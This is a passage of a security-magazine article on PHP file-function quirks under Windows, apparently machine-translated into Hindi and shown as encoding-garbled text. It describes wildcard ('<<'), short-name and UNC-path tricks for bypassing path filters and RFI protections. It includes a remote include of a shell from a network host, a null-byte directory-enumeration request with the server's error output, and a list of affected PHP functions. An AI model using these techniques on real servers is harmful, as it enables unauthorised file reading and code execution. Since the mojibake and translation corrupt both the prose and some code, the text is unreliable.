  5. рдпрджрд┐ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдХрд╛ рдкрд╣рд▓рд╛ рд╡рд░реНрдг рдбреЙрдЯ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕ рдбреЙрдЯ рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдирд╛рдо рдХреЗ рдмрд┐рдирд╛ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВред

    рдЙрджрд╛рд╣рд░рдг: fopen ("htaccess") fopen ("Htaccess") рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИ, рдФрд░ рдЕрдзрд┐рдХ рдкрд░рд┐рд╖реНрдХреГрдд рд░реВрдк рд╕реЗ, рдЖрдЗрдЯрдо 1, fopen ("h <<") рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред рдЪреВрдВрдХрд┐ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдореЗрдВ рджреВрд╕рд░рд╛ рдЕрдХреНрд╖рд░ "a" рд╣реИ, рд╡рд░реНрдгрд╛рдиреБрдХреНрд░рдо рдореЗрдВред рд╡рд╣ рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рд╣реЛрдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реЛрдЧреАред
  6. рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХреЗ рдЕрдВрдд рдореЗрдВ, рдЖрдк рдПрдХ рдпрд╛ рдЕрд▓рдЧ рдкреНрд░рдХрд╛рд░ (рдЖрдЧреЗ рдФрд░ рдкреАрдЫреЗ) рдХреЗ рд╕реНрд▓реИрд╢ рдХреЗ рдЕрдиреБрдХреНрд░рдореЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХреЗ рдмреАрдЪ рдореЗрдВ рдЖрдк рдПрдХ рдбреЙрдЯ рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдЕрдВрдд рдореЗрдВ рд╣рдореЗрд╢рд╛ рдПрдХ рдбреЙрдЯ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ "рдирд╣реАрдВ, рд▓реЗрдХрд┐рди рдЕрд╕рд▓реА рд╡рд╛рд▓рд╛ред

    рдЙрджрд╛рд╣рд░рдг: рдлреЛрдкреЗрди ("")
  7. рдЖрдк рдПрдХ рдЕрд╡рдзрд┐ рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдХрд┐рд╕реА рднреА рдЪрд░рд┐рддреНрд░ рдХреЗ рдмрд╛рдж \\ рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдиреЗрдЯрд╡рд░реНрдХ рдирд╛рдореЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд╣реИ рдФрд░ рд▓рдВрдмреЗ рд╕рдордп рд╕реЗ рд╕рднреА рдХреЗ рд▓рд┐рдП рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рдерд╛ред рдореИрдВ рдХреЗрд╡рд▓ рдпрд╣ рдЬреЛрдбрд╝реВрдВрдЧрд╛ рдХрд┐ рдпрджрд┐ рдиреЗрдЯрд╡рд░реНрдХ рдирд╛рдо рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ, рддреЛ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╕рд╛рде рдСрдкрд░реЗрд╢рди рдореЗрдВ рдЕрддрд┐рд░рд┐рдХреНрдд 4 рд╕реЗрдХрдВрдб рд▓рдЧрддреЗ рд╣реИрдВ, рдЬреЛ рд╕рдордп рдХреА рд╕рдорд╛рдкреНрддрд┐ рдФрд░ рддреНрд░реБрдЯрд┐ max_execution_time рдореЗрдВ рдпреЛрдЧрджрд╛рди рджреЗрддрд╛ рд╣реИ (рд▓реЗрдЦ " рдЧреБрд▓рдЪреИрдЯ, рдЪреЗрд╣рд░рд╛ рдЦреЛрд▓реЗрдВ ") рджреЗрдЦреЗрдВред рдпрд╣ рдЖрдкрдХреЛ allow_url_fopen = Off рдФрд░ RFI рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рднреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

    рдЙрджрд╛рд╣рд░рдг: рд╢рд╛рдорд┐рд▓ рд╣реИрдВ ('\\ рдмреБрд░рд╛рдИ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ \ рд╢реЗрд▓ред рдПрдлрдкреА')
  8. рдЖрдк \\ред \ рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдирд╛рдореЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдореЗрдВ рдбреНрд░рд╛рдЗрд╡ рдХреЗ рдмреАрдЪ рд╕реНрд╡рд┐рдЪ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдмрдирд╛рддрд╛ рд╣реИред

    рдЙрджрд╛рд╣рд░рдг: рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдВ ('\\ред \ C: \ my \ file.php \ .. \ _ \ _ \ _ \ D: \ otherfile.php')ред
  9. рдЖрдк рд╕реНрд▓реИрд╢ рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡реИрдХрд▓реНрдкрд┐рдХ рдбрд┐рд╕реНрдХ рдирд╛рдо рд╕рд┐рдВрдЯреИрдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

    рдЙрджрд╛рд╣рд░рдг: file_get_contents ('C: boot.ini') file_get_contents ('C: /boot.ini') рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИ
  10. рдЖрдк рдЫреЛрдЯреА рдбреЙрд╕-рд╕рдВрдЧрдд рдлрд╝рд╛рдЗрд▓ рдФрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдирд╛рдореЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдПрдХ рджреНрд╡реИрдз рд╣реИ, рдореИрдВ рдмрд╣рд╕ рдирд╣реАрдВ рдХрд░рддрд╛ред рд▓реЗрдХрд┐рди рдореИрдВ рдЗрд╕ рддрдереНрдп рдкрд░ рдЖрдкрдХрд╛ рдзреНрдпрд╛рди рдЖрдХрд░реНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реВрдВ рдХрд┐ рдпрджрд┐ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдЪрд╛рд░ рд╕реЗ рдЕрдзрд┐рдХ рдлрд╛рдЗрд▓реЗрдВ рд╣реИрдВ, рдЬрд┐рдирдХреЗ рдирд╛рдо рддреАрди рд╡рд░реНрдгреЛрдВ рд╕реЗ рдХрдо рд╣реИрдВ, рддреЛ рдРрд╕реЗ рдирд╛рдо рдЪрд╛рд░ рд╣реЗрдХреНрд╕ рд╡рд░реНрдгреЛрдВ рдХреЗ рд╕рд╛рде рдкреВрд░рдХ рд╣реЛрдВрдЧреЗред рдЗрд╕реА рддрд░рд╣, рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо рдмрджрд▓ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдпрджрд┐ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдЪрд╛рд░ рд╕реЗ рдЕрдзрд┐рдХ рдлрд╛рдЗрд▓реЗрдВ рд╣реИрдВ рдЬрд┐рдирдХреЗ рдирд╛рдо рд╕рдорд╛рди рджреЛ рдкрд╣рд▓реЗ рдЕрдХреНрд╖рд░реЛрдВ рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреЗ рд╣реИрдВред

    рдЙрджреНрдзрд░рдг:
    рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдпрджрд┐ рдЪрд╛рд░ рд╕реЗ рдЕрдзрд┐рдХ рдлрд╛рдЗрд▓реЗрдВ рдПрдХ рд╣реА рдЫрд╣-рд╡рд░реНрдг рд░реВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИрдВ, рддреЛ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдХреЗ рдкрд╣рд▓реЗ рджреЛ рд╡рд░реНрдгреЛрдВ рдХреЛ рдЪрд╛рд░-рд╡рд░реНрдг рд╣реИрд╢ рдХреЛрдб рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рдХрд░ рдФрд░ рдлрд┐рд░ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдкрджрдирд╛рдо рдЬреЛрдбрд╝рдХрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдмрдирд╛рдП рдЬрд╛рддреЗ рд╣реИрдВред рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ MYFAVO ~ 1.DOC, MYFAVO ~ 2.DOC, MYFAVO ~ 3.DOC рдФрд░ MYFAVO ~ 4.DOC рдирд╛рдо рдХреА рдлрд╛рдЗрд▓реЗрдВ рд╣реЛ рд╕рдХрддреА рд╣реИрдВред рдЗрд╕ рд░реВрдЯ рдХреА рдЕрддрд┐рд░рд┐рдХреНрдд рдлрд╛рдЗрд▓реЛрдВ рдХреЛ MY3140 ~ 1.DOC, MY40C7 ~ 1.DOC рдФрд░ MYEACC ~ 1.DOC рдирд╛рдо рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
    рдЙрджрд╛рд╣рд░рдг: in.conf рдХрд╛ DOS рдирд╛рдо IND763 ~ 1.CON рд╣реИ, рдпрд╛рдиреА рдЗрд╕реЗ рд▓рд╛рдЗрди file_get_contents ('<< D763 <<') рдХреЗ рд╕рд╛рде рдкрдврд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рд╕реЗ рдмрд╛рдЗрдЯ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИ! рдЗрди рдЪрд╛рд░ рд╣реЗрдХреНрд╕ рдкрд╛рддреНрд░реЛрдВ рдХреЛ рдХреИрд╕реЗ рдЧрд┐рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдпрд╣ рдХрд╣реАрдВ рдирд╣реАрдВ рдХрд╣рд╛ рдЧрдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╡реЗ рдХреЗрд╡рд▓ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВред
  11. PHP рдореЗрдВ, рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рд╡рд╛рддрд╛рд╡рд░рдг (mod_php, рд▓реЗрдХрд┐рди php.exe рдирд╣реАрдВ) рдХреЗ рддрд╣рдд, рдЖрд░рдХреНрд╖рд┐рдд рдирд╛рдо aux, con, prn, com1-9, lpt1-9 рдХрд╛рдо рдХреЗ рд╕рд╛рде рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдмрд╛рд░реАрдХрд┐рдпреЛрдВред

    рдЙрджрд╛рд╣рд░рдг: file_get_contents ('C: /tmp/con.jpg') CON рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ null рдмрд╛рдЗрдЯреНрд╕ рдХреЛ рдЕрдВрддрд╣реАрди рд░реВрдк рд╕реЗ рдкрдврд╝реЗрдЧрд╛, EOF рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░ рд░рд╣рд╛ рд╣реИред

    рдЙрджрд╛рд╣рд░рдг: file_put_contents ('C: /tmp/con.jpg',chr (0x07)) рдХреЛ рд╕рд░реНрд╡рд░ рд╕реНрдкреАрдХрд░ (рд╕рдВрдЧреАрдд :)) рджреНрд╡рд╛рд░рд╛ рдзреНрд╡рдирд┐ рджреА рдЬрд╛рдПрдЧреАред
рдореИрдВ рдЖрдкрдХреЛ рд╕рднреА рд╡рд╕реНрддреБрдУрдВ рдХреЛ рдХрд╛рдЯрдиреЗ рдФрд░ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдерд╛рди рдкрд░ рдПрдХ рдлреНрд░реЗрдо рдореЗрдВ рд▓рдЯрдХрд╛рдП рдЬрд╛рдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреЗрддрд╛ рд╣реВрдВред рдпрд╣ рд╢рд╛рдирджрд╛рд░ рдирд╣реАрдВ рд╣реЛрдЧрд╛ :)ред



рд╣рдо рдЧрд┐рдирддреА рдЦреЗрд▓рддреЗ рд╣реИрдВ



рдореИрдВ рдХреЗрд╡рд▓ рдлрд╝рд┐рдЬрд╝рд┐рдВрдЧ рдХреЗ рддрд╣рдд рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдореЗрдВ рдЪреАрдиреА рдкрд░ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рдерд╛ рдХрд┐ рднреЗрджреНрдпрддрд╛ рдХреЗрд╡рд▓ file_get_contents рдХреА рдЪрд┐рдВрддрд╛ рдХрд░рддреА рд╣реИ, рдЕрдЧрд░ рдХреЗрд╡рд▓ рдЗрд╕рд▓рд┐рдП рдХрд┐ рдореБрдЭреЗ PHP рдХреЗ рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдереЛрдбрд╝рд╛ рдпрд╛рдж рд╣реИред рджреЛ рдмрд╛рд░ рд╕реЛрдЪрдиреЗ рдХреЗ рдмрд┐рдирд╛, рдореИрдВрдиреЗ рдЙрди рд╕рднреА рдХрд╛рд░реНрдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХреА рдЬреЛ рдореБрдЭреЗ рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдпрд╛рдж рдереЗред рдкрд░рд┐рдгрд╛рдо рд╕рдХрд╛рд░рд╛рддреНрдордХ рд╕реЗ рдЕрдзрд┐рдХ рдереЗред

рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рдХрд╛рд░реНрдпреЛрдВ рдореЗрдВ рдореМрдЬреВрдж рд╣реИрдВ:

 fopen file_get_contents copy parse_ini_file readfile file_put_contents mkdir tempnam touch move_uploaded_file include(_once) require(_once) ZipArchive::open()
      
      



рдЗрд╕рдореЗрдВ рдореМрдЬреВрдж рдирд╣реАрдВ:

 rename unlink rmdir
      
      



рдЬрд╣рд╛рдВ рдШреВрдордирд╛ рд╣реИ, рд╡рд╣рд╛рдВ рддреЛ рдирд╣реАрдВ рд╣реИ? рд▓реЗрдХрд┐рди рдпрд╣ рдЗрддрдирд╛ рдмреБрд░рд╛ рдирд╣реАрдВ рд╣реИред



PoC: рдЙрдкрдпреЛрдЧ рдХреЗ рд╡рд┐рдЪрд╛рд░



рдЬрд╛рд╣рд┐рд░ рд╣реИ, рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рднреА рд╕рдВрднрд╛рд╡рд┐рдд рдлрд┐рд▓реНрдЯрд░ рдФрд░ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, .htaccess рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП, рд╡реИрдХрд▓реНрдкрд┐рдХ рдирд╛рдо h рд╣реЛрдЧрд╛ << (рдЕрдиреБрднрд╛рдЧ 4, рдмрд┐рдВрджреБ 1 рджреЗрдЦреЗрдВ)ред рдЖрдо рддреМрд░ рдкрд░ рджреЛ-рдЪрд░рд┐рддреНрд░ рд╡рд╛рд▓реА рдлрд╛рдЗрд▓реЗрдВ рдмрд┐рдирд╛ рдирд╛рдо рдХреЗ рдкрдврд╝реА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ (рджреЗрдЦреЗрдВ рдЦрдВрдб 9.)ред рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рдФрд░ рдЗрддрдиреЗ рдкрд░ред рдПрдХ рдФрд░ рд╣реИ, рдХреЛрдИ рдХрдо рджрд┐рд▓рдЪрд╕реНрдк рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдирд╣реАрдВ рд╣реИ - рдлрд╝реЛрд▓реНрдбрд░реНрд╕ рдФрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдирд╛рдо рдХреА рдкрд░рд┐рднрд╛рд╖рд╛ред

рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ:

 <?php file_get_contents("/images/".$_GET['a'].".jpg"); ?>
      
      



рдЗрд╕ рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЖрдк рдмрд╣реБрдд рдЖрд╕рд╛рдиреА рд╕реЗ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреА рдПрдХ рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рд╣рдо рдЕрдиреБрд░реЛрдз test.php рднреЗрдЬрддреЗ рд╣реИрдВ? A = .. / a <% 00 рдФрд░ рдЬреИрд╕рд╛ рдЙрддреНрддрд░ рдорд┐рд▓рддрд╛ рд╣реИ

 Warning: include(/images/../a<) [function.include]: failed to open stream: Invalid argument in ...
      
      



рдпрд╛

 Warning: include(/images/../a<) [function.include]: failed to open stream: Permission denied ...
      
      



рдкрд╣рд▓реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╕рд░реНрд╡рд░ рдХреЛ рд░реВрдЯ рдореЗрдВ "рдП" рдЕрдХреНрд╖рд░ рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реА рдПрдХ рднреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдирд╣реАрдВ рдорд┐рд▓реА, рджреВрд╕рд░реЗ рдореЗрдВ - рдкрд╛рдпрд╛ рдЧрдпрд╛ред

рдЕрдЧрд▓рд╛, рдЖрдк рджреВрд╕рд░реЗ рдкрддреНрд░ рдФрд░ рдЗрддрдиреЗ рдкрд░ рдХрд╛ рдЪрдпрди рд╢реБрд░реВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЧрддрд┐ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдзреНрд╡рдиреНрдпрд╛рддреНрдордХрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рд▓реЗрдЦ "рддреЗрдЬрд╝, рдЙрдЪреНрдЪ рдФрд░ рдлрд┐рд░ рд╕реЗ рддреЗрдЬрд╝ рджреЗрдЦреЗрдВ ред рдПрд╕рдХреНрдпреВрдПрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП рдХреНрд░рд╛рдВрддрд┐рдХрд╛рд░реА рджреГрд╖реНрдЯрд┐рдХреЛрдг" )ред рдЕрдВрдзрд╛ SQL рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдЪреНрдЫреА рдкреБрд░рд╛рдиреА рддрдХрдиреАрдХ рд╣реИред

рдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рджреМрд░рд╛рди, рдпрд╣ рджреЗрдЦрд╛ рдЧрдпрд╛ рдХрд┐ рдХрднреА-рдХрднреА рд╕рд░реНрд╡рд░ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдореЗрдВ рдкрд╛рдпрд╛ рдкрде рдХреЛ рддреБрд░рдВрдд рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред рддрдм рдЖрдкрдХреЛ рдХреЗрд╡рд▓ рддрднреА рдЪрдпрди рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдЬрдм рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдЙрд╕реА рд╡рд░реНрдг рд╕реЗ рд╢реБрд░реВ рд╣реЛред рддреНрд░реБрдЯрд┐ рдХрд╛ рдирд┐рд╖реНрдХрд░реНрд╖ рдХреНрдпрд╛ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ, рдореЗрд░реЗ рдкрд╛рд╕ рдЗрд╕рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдФрд░ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рдЬрдирддрд╛ рдкрд░ рдЫреЛрдбрд╝рдиреЗ рдХрд╛ рд╕рдордп рдирд╣реАрдВ рдерд╛ред



рдЧреАрддрд╛рддреНрдордХ рд╡рд┐рд╖рдпрд╛рдВрддрд░



рдпрд╣ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ рдЬрд╛рджреВрдЧрд░ рдиреЗ рдЪреАрдиреА рд╕реЗ рдПрдХ рд░рд┐рдкреЛрд░реНрдЯ рднреА рдкреНрд░рд╛рдкреНрдд рдХреА, рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рдЗрд╕реЗ 19 рдЕрдкреНрд░реИрд▓ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ "рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдкрд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреЗ рдЫреЛрдЯреЗ-рдЬреНрдЮрд╛рдд рддрд░реАрдХреЛрдВ" рд▓реЗрдЦ рдореЗрдВ рджреВрд╕рд░реЛрдВ рдХреЗ рдмреАрдЪ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ рдерд╛, рд▓реЗрдХрд┐рди рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдкрд░ рдХреЛрдИ рд╕реНрдкрд╖реНрдЯреАрдХрд░рдг рдФрд░ рдЬреЛрд░ рдирд╣реАрдВ рдерд╛, рдХреЗрд╡рд▓ рдПрдХ рдЪреАрдиреА рдЙрджрд╛рд╣рд░рдг рдерд╛, рдЬрд┐рд╕рдореЗрдВ рд╕реЗ рдореИрдВрдиреЗ рд╢реБрд░реВ рдХрд┐рдпрд╛ред



рдиреИрддрд┐рдХрддрд╛



рдИрдорд╛рдирджрд╛рд░реА рд╕реЗ, рдореИрдВ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЕрд╢рдХреНрдд рдмрд╛рдЗрдЯ рдХрд╛ рд╡рд┐рдХрд▓реНрдк рдЦреЛрдЬрдирд╛ рдЪрд╛рд╣рддрд╛ рдерд╛, рд▓реЗрдХрд┐рди рд╡реНрдпрд░реНрдеред рд▓реЗрдХрд┐рди рдпрд╣ рднреЗрджреНрдпрддрд╛ рдЕрдиреНрдп рдХреЗ рд▓рд┐рдП рдЧреБрдВрдЬрд╛рдЗрд╢ рдЦреЛрд▓рддреА рд╣реИ, рдХреЛрдИ рдХрдо рджрд┐рд▓рдЪрд╕реНрдк рд╣рдорд▓рд╛ рдирд╣реАрдВред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдФрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рджрд╛рди рдХрд░рдирд╛ред рдпрд╣ рдЕрдкрдиреЗ рдЖрдк рдореЗрдВ рдПрдХ рдЕрдиреЛрдЦреА рдШрдЯрдирд╛ рд╣реИред рдЬреИрд╕рд╛ рдХрд┐ рдпрд╣ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЪреАрдиреА рдХреЗ рд╕рд╛рде рдЙрдирдХреА рдлрдЬреАрд╣рдд рдХрд╛ рд╕рдореНрдорд╛рди рдХрд░реЗрдВ, рд▓реЗрдХрд┐рди рдореИрдВ рдЙрдирд╕реЗ рдФрд░ рд╕рднреА рд╕реЗ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрдЪреНрдЪреЗ рдбреЗрдЯрд╛ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХрд╛ рдЖрдЧреНрд░рд╣ рдХрд░рддрд╛ рд╣реВрдВред рдлрдЬреАрд╣рдд, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдЕрдкрдиреЗ рд╕рд┐рд░ рдХреЗ рд╕рд╛рде рд╕реЛрдЪрдирд╛ рд╣реЛрдЧрд╛ред



рдЙрдкрдпреЛрдЧреА рд▓рд┐рдВрдХ:
рд╣реИрдХрд░ рдкрддреНрд░рд┐рдХрд╛, рдлрд░рд╡рд░реА (02) 145

рд╡реНрд▓рд╛рджрд┐рдореАрд░ "d0znp" рд╡реЛрд░реЛрддреНрд╕реЛрд╡



рд╣реИрдХрд░ рдХреА рд╕рджрд╕реНрдпрддрд╛ рд▓реЗрдВ




All Articles